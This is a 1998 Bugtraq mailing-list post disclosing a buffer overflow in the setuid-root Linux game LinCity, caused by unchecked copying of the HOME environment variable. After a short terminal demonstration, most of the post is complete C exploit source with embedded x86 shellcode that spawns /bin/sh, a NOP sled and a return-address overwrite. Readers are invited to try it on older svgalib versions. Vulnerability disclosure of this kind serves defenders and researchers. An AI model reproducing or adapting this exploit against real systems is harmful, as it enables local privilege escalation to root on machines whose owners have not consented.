LinCity Buffer Overflow
X-RDate: Tue, 17 Mar 1998 16:42:27 +0500 (ESK)
Date: Mon, 16 Mar 1998 12:34:05 -0500
From: "T. Freak" <tfreak@JADED.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: LinCity Buffer Overflow
Greetings,
While a buffer overflow is blantenly obvious in the code, I don't think it
is very dangerous. Observe.
jaded:~> id
uid=1000(tfreak) gid=1000(tfreak)
groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
jaded:~> ls -l /usr/games/lincity
-rwsr-xr-x 1 root root 769384 Mar 14 20:36 /usr/games/lincity
jaded:~> ./x
svgalib: Using S3 driver (Trio64, 2048K).
svgalib: s3: chipsets newer than S3-864 is not supported well yet.
svgalib: RAMDAC: Trio64: MCLK = 50.114 MHz
sh-2.01$ id
uid=1000(tfreak) gid=1000(tfreak)
groups=1000(tfreak),0(root),4(adm),7(lp),24(cdrom),25(floppy),31(majordom),69(geek)
sh-2.01$
despite the setuid permissions, I was unable to obtain a root shell. I
have included the exploit for you to test yourself, perhaps it will work
on older versions of svgalib. Let me know how it turns out.
I remain,
tf.
/*
* lincity-svga exploit by TFreak
*
* another example of bad programming, copying the HOME environment
* without bounds checking to a static size buffer (100 bytes)
*
*/
#include <stdio.h>
#define bs 250
#define of 300
unsigned long sp (void);
int main(int argc, char *argv[])
{
char *p, *buf;
char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
unsigned long addr, *paddr;
int i;
buf = (char *) malloc(bs);
p = buf;
paddr = (unsigned long *) p;
addr = sp() - of;
for (i = 0; i < bs; i += 4)
*(paddr++) = addr;
memset(p, 0x90, bs/2);
p += bs/2;
for (i = 0; i < strlen(shell); i++)
*(p++) = shell[i];
setenv("HOME", buf, 1);
execl("/usr/games/lincity", "lincity", NULL);
}
unsigned long sp (void)
{
__asm__("movl %esp, %eax");
}
